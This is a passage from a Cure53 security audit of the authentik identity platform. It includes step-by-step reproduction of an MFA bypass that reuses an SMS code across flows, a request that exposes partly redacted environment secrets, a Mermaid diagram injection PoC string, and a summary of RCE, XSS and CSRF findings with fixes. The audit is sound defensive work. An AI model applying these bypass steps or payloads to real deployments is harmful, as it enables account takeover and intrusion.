2. Launch a flow that accepts the SMS TOTP validator. This can be done by executing the flow from the test environment *https://cure53.pr.test.goauthentik.io/if/flow/robins-test-flow3/*.
3. Enter the username of the attacker and proceed.
4. Receive an SMS in the attacker's mobile device.
5. In the same tab, navigate to the flow that solely allows web authentication. In the test environment this can be achieved by visiting *https://cure53.pr.test.goauthentik.io/if/flow/robins-test-flow/*.
6. Enter the username of the attacker, then intercept and modify subsequent HTTP *GET* requests sent to the */api/v3/flows/executor/<FlowName>* endpoint.
   - Change the HTTP request method to *POST.*
   - Add a *Content-Type* header and set the value to *application/json.*
   - Add the following HTTP request payload and replace *123456* with the 6-digit SMS validator response code received on the mobile device:
     `{"code":"123456"}`
7. Observe that the attacker passes the authenticator validator stage with the SMS device

It is advisable to never store flow-specific states within a session variable that is shared between flows. Instead, it is recommended to store this information within the context of the specific flow plan. As this context is never shared, actions within a flow are much harder to pollute in the context of another state. With a revised approach this and similar vulnerabilities would be mitigated.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Miscellaneous Issues

This section covers any and all noteworthy findings that did not incur an exploit but may assist an attacker in successfully achieving malicious objectives in the future. Most of these results are vulnerable code snippets that did not provide an easy method by which to be called. Conclusively, whilst a vulnerability is present, an exploit may not always be possible.

ATH-01-004 WP3: Information disclosure on *system* endpoint *(Info)*

***Fix Note**: This issue was addressed by the development team and the fix was verified successfully by Cure53, the issue as described no longer exists.*

During the assessment of the backend features of the application, it was discovered that the *system* endpoint returns content from the *environment* variables to the client in plaintext. This is considered a bad practice because it increases the risk of data being disclosed to third-parties unnecessarily.

Request:

```
GET /api/v3/admin/system/ HTTP/2
Host: cure53.pr.test.goauthentik.io
Cookie: authentik_session=<your token>
```

Affected response:

```
HTTP/2 200 OK
[...]

{"env":
{[...]"AUTHENTIK_POSTGRESQL__PASSWORD":"Johrio4oche[redacted]
[redacted]hgh7",
[...],"AUTHENTIK_SECRET_KEY":"k18[redacted]v9&","AUTHENTIK_SOURCE_AUTHEN
TIK_CONSUMER_KEY":"JvQqX0YJ[redacted]iACV",
[...],"AUTHENTIK_BOOTSTRAP_TOKEN":"0K[redacted]wqH",
[...],"AUTHENTIK_BOOTSTRAP_PASSWORD":"n*[redacted]KV>",[...]
```

Sensitive data, such as passwords and secrets, should not be returned in cleartext in responses sent back to the clients. To protect passwords and secrets, returns should only be done in pseudonymized formats, for example by replacing them with "*".

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

ATH-01-005 WP3: Timing-unsafe comparison in API authentication *(Info)*

***Fix Note**: This issue was addressed by the development team and the fix was verified successfully by Cure53, the issue as described no longer exists.*

It was found that the secret key authentication is performed with the timing-unsafe string comparison operator (!=). This operator suffers from a correlation between its runtime and the number of equivalent prefix bytes of the used secret key and the attacker's input string.

Cure53 sees this as a risk of attackers accumulating and measuring correlations in order to deduce information about the authentication secret. However, this heavily relies on network congestion and usually only applies to a local context. As such, the flaw poses no realistic risk at present.

Affected file:
authentik/authentik/api/authentication.py

Affected code:

```
def token_secret_key(value: str) -> Optional[User]:
        [...]
        if value != settings.SECRET_KEY:
                return None
        outposts = Outpost.objects.filter(managed=MANAGED_OUTPOST)
        [...]
        return outpost.user
```

It is advisable to use a timing-safe string comparison operator which does not present a relationship between the operator's runtime and its operand's degree of equivalence. This could be achieved by relying on the *compare_digest* function of Python's built-in *hmac* module[11].

[11] https://docs.python.org/3.8/library/hmac.html#hmac.compare_digest

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

ATH-01-011 WP3: Weak default configs in *logout/change password* flows *(Info)*

***Client Note**: The default logout flow does not do any additional validation and logs the user out with a single GET request. The default password-change flow does not verify the users current password, nor does it show the current users info. We will also address this in the future.*

It was discovered that the *default-password-change* and *default-invalidation-flow* flows configured in the application do not follow the generally recommended design by default and, as such, could be improved.

In the *default-password-change* flow, the current password is not required when amending the data to a new password. This is generally considered an antipattern that drastically eases exploitation of account-takeover vulnerabilities. As a result, a malicious user who assumes control over a valid session can easily alter the victim's password without prior knowledge of the current password. Notably, this does not directly translate to a security risk, though may assist attackers in their efforts to exploit other areas of weakness.

To mitigate this issue, Cure53 advises adding a stage to confirm the current password before asking for the new password on the default flow. Further, the account update logic should be resolved to ensure that the password can only be altered when the correct old password is provided. In the *default-invalidation-flow* flow, a logout occurs with just a *GET* request when a deployed endpoint is accessed. An attacker would be able to manipulate a user into visiting the affected page and then force them to log out. If the authenticated user accesses one of the following URLs, they will be logged out immediately.

Affected endpoint:
https://cure53.pr.test.goauthentik.io/api/v3/flows/executor/default-invalidation-flow/

While this issue does not affect the integrity of the tested product, it can still result in considerable annoyance for the users. The flaw may also be employed for creating chained or multi-stage issues in conjunction with other bugs, ultimately raising the attacker’s unfavorable impact on the complex. To avoid unexpected logout operations, it is recommended to add a dedicated stage on the default flow and make sure that the logout is explicitly performed by the user. This should be done prior to executing *"User Logout Stage".*

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

ATH-01-012 WP1: Unintended diagram created due to unescaped quotes *(Info)*

***Fix Note**: This issue was addressed by the development team and the fix was verified successfully by Cure53, the issue as described no longer exists.*

Following the discovery of the ATH-01-003 issue, another shortcoming was found in the Mermaid's diagram used in *Flows and Stages* feature, specifically in the context of setting the text to be displayed in the diagram. Since the authentik application does not escape the double-quote characters contained in the user-input, the user can inject another syntax into the diagram.

The issue can be reproduced by setting the following string as a *flow name* and displaying the created *flow overview* page. If the PoC works correctly, a link to *example.com* and another node containing the *"Cure53" s*tring will be created in the diagram.

PoC:

```
A"]];click flow_start "https://example.com";flow_start -->flow_x[["Cure53
```

Generated Mermaid code:

```
graph TD
flow_start[["Flow A"]];click flow_start "https://example.com";flow_start --
>flow_x[["Cure53"]]
flow_start --> done[["End of the flow"]]
```

The affected code was found in the following file.

Affected file:
authentik-main/authentik/flows/api/flows_diagram.py

Affected code:

```
class DiagramElement:
    """Single element used in a diagram"""

    identifier: str
    description: str
    action: Optional[str] = None
    source: Optional[list["DiagramElement"]] = None

    style: list[str] = field(default_factory=lambda: ["", ""])

    def __str__(self) -> str:
        element = f'{self.identifier}
{self.style[0]}"{self.description}"{self.style[1]}'
```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

```
[...]
```

Cure53 investigated whether attacks such as XSS are possible through this injection, however no such issues were found. Nevertheless, this injection could become exploitable if a vulnerability in the Mermaid is found in the future. It is recommended to replace all double-quote characters contained in user-input with the Mermaid's escaping character, namely *#quot;*[12].

[12] https://mermaid.js.org/syntax/flowchart.html#entity-codes-to-escape-characters

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Conclusions

Cure53 concludes that the authentik platform exposed several areas where attacks could be successfully executed against it. However, five members of the Cure53 team, who examined the authentik IdP platform, involving the web frontend & UI, user-management, backend API and SSO features, generally agree that correctly resolving all issues from this May 2023 will have positive bearing on the integrity and security of the complex.

It should be clarified that fourteen issues were found during this *ATH-01* audit: ten of them were exploitable and were added to the *Vulnerabilities* section and four entailed hardening recommendations and best practices, which explained their filing in the *Miscellaneous* section.

To give some context, Cure53 was provided with access to the test application and working accounts as well as sources of the authentik IdP web application. This significantly increased the effectiveness of the audit, allowing Cure53 to check the application for security vulnerabilities already in the code and as well as in the environment running in parallel.

The basic idea behind the Cure53 investigation of the authentik platform was to find out whether the existing functionality of the application and its connected endpoints can be deemed healthy enough to withstand attacks by malicious users. Priorities here constituted verification of the presence of classic and well-known web problems, as well as assessments made toward unearthing logic weaknesses that could eventually bring the applications or their functions down.

Attention was given to detecting typical web application issues that blight modern frameworks and those associated with various types of injection attacks. The testers further examined the authentik application regarding ACL and IDOR problems, as well as all kinds of negative consequences of mistakes in SSO authentication flows.

One of the more widely observed concerns is the extensive support of expressions. Those are implemented to provide customers with a more flexible way of customization. However, since no further validations are in place, this fosters execution of arbitrary Python code, which basically means an elevated risk of compromising the server (see ATH-01-006). The testers recognized these weaknesses as an excellent entry-point for post-exploitation activities, especially with adversaries managing to access a *superuser* account, for example via an XSS attack or the potential disclosure of passwords (see ATH-01-008).

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

The impact of the Remote Code Execution vulnerabilities depends on the setup and usage contextually associated with authentik. For example, when authentik is used within a larger company network, with the authentik admins not having access to the infrastructure and credentials, then this could lead to severe problems when RCE is exploited.

Another major issue accidentally discloses user-passwords to Sentry when a form is confirmed by hitting the *Enter* button. This behavior should be further investigated by the development team (see ATH-01-008). Since forms might be updated by many users who can hit *Enter*, this risk can be seen as very likely. However, since the final update request is not sent, the risk of the correct password being disclosed to Sentry remains. This would be particularly problematic for admins using the same password on a second attempt. Moreover, since passwords and usernames are disclosed from each running authentik instance, adversaries might get access to the connected applications.

The examined frontend parts were also plagued by certain problems. Multiple XSS vulnerabilities were found in the context of a superuser (ATH-01-002, ATH-01-013). Although these have limited exploitability for now, they can cause a major issue if the Enterprise Cloud version is deployed on the domain in a different way in the future.

Additionally, a CSS injection vulnerability was found in the third-party library used by authentik (ATH-01-003). This should be communicated upstream to the vendor, so that a proper fix can be deployed for all potential users of this library. Regarding CSRF, the application left a solid impression, however, one small issue could be spotted in the user-management. Namely, CSRF protection was found to be absent from the *impersonate* feature (ATH-01-009).

It is important to state that authentik offers a lot of possibilities that can end in misconfigurations. This includes the obvious issue ATH-01-006 which literally requires the user to program definitions via expressions. Setting up configurator stages may cause simple bypasses in an authentication setup. Last but not least, there is the possibility of allowing the policy engine to cache stage policy evaluations, which may be dependent on dynamic HTTP request variables. Although those issues can all be prevented by advanced users, it may trap unaware users, especially when no warnings are issued by the user-interface.

Cure53 also noticed that authentik often shares authentication-relevant data in session variables that are shared between flows. The noted lack of a proper state machine might have contributed to the existence of ATH-01-014. This could be improved by defining and implementing a proper state machine in order to maintain an isolated flow state. This way, state transitions would be formalized and could be audited transparently.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

On the positive side, it must be said that authentik has a strong core principle in defining, quickly configuring and visualizing authentication flows that chain complex authentication protocols. The source code shows that the developers are aware of the involved risks and their state-of-the-art mitigations. However, under the current design, launching a multi-tenancy environment without fully isolating the tenants and their infrastructure cannot be recommended. Instead, before this happens, authentik should iteratively be subjected to security audits. This is needed to further explore authentik prior to changes, especially with the scope of automatically deployed outposts.

Various SSO provider-types were reviewed and no significant security vulnerabilities were identified. The tests were performed against the various providers by connecting to test applications and reviewing the source code. Sane cryptographic primitives are used where needed and no information leakages were found. Validation is done for certain components, such as the redirection flows, thus preventing open redirects and similar problems. The UI dashboard for configuring the SSO features was also found to be secure against common security vulnerabilities such as XSS. Input validation appeared to be present on all fields, most importantly on the URL fields.

Tailored approaches were used to check the validation carried out by the SSO components and the dashboard UI. For instance, when a URL was required or validated, the Cure53 team attempted to determine whether malformed URLs and other strings could be accepted. No bypasses were discovered throughout this process, highlighting that these validation steps are solid.

User-management was primarily examined regarding common ACL and IDOR problems. Despite the missing key validation (see ATH-01-010), the testers did not reveal any other grave issues linked to ACL, despite intensive and dedicated searches for pathways that could be compromised. The Cure53 team noted that endpoints clearly determine user-input and verify whether certain actions are available for the user prior to the final acceptance of such input.

The examined codebase of the authentik web application left an overall good impression in regard to its security posture. Besides minor flaws, the codebase adheres to common best practices. Static analysis tooling seems to be integrated into the lifecycle, which further reduces the room for errors. Some usage of dangerous functions, for example Pickle *loads()* or *exec(),* was spotted. It is recommended to remove it to prevent potential exploitation in scenarios of user-input reaching those functions.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Summing up, most major problems were identified in the backend, including Remote Code Execution, file disclosure, and authentication bypass vulnerabilities. Additionally, the frontend was found to be affected by a number of problems, which should be addressed, as many of them can be combined with other discovered issues. Notably, these issues encompassed stored XSS vulnerabilities, largely due to the need for superuser permissions. The likelihood of exploitation would increase for these problems if new features, such as the RBAC mechanism or running authentik in Enterprise Cloud, are deployed.

To conclude, the audited version of the authentik platform with its connected APIs and services is on the right path. This does not, however, change the fact that it warranted further improvements. During this May 2023 project, Cure53 managed to observe *Critical* and *High*-scoring problems on the scope.

At the same time, it can be seen that the list of findings from *ATH-01* mostly contains *Low* and *Medium*-ranked flaws, thereby indicating quite stable protections against certain attacks. This clearly shows that the Authentik team is aware of the problems that modern web applications tend to face. Moreover, the result also stems from a proper usage of the Django framework, which provides good security standards by design.

Cure53 recommends following the proposed recommendations to further improve the platform's security posture. Once all problems are fixed, the authentik complex will boast better security premises for production use. It is hoped that future external assessments are commissioned to continue amelioration of security at authentik.

Cure53 would like to thank Jens Langhammer and Derek Bringewatt from the Authentik Security Inc. team for their excellent project coordination, support and assistance, both before and during this assignment.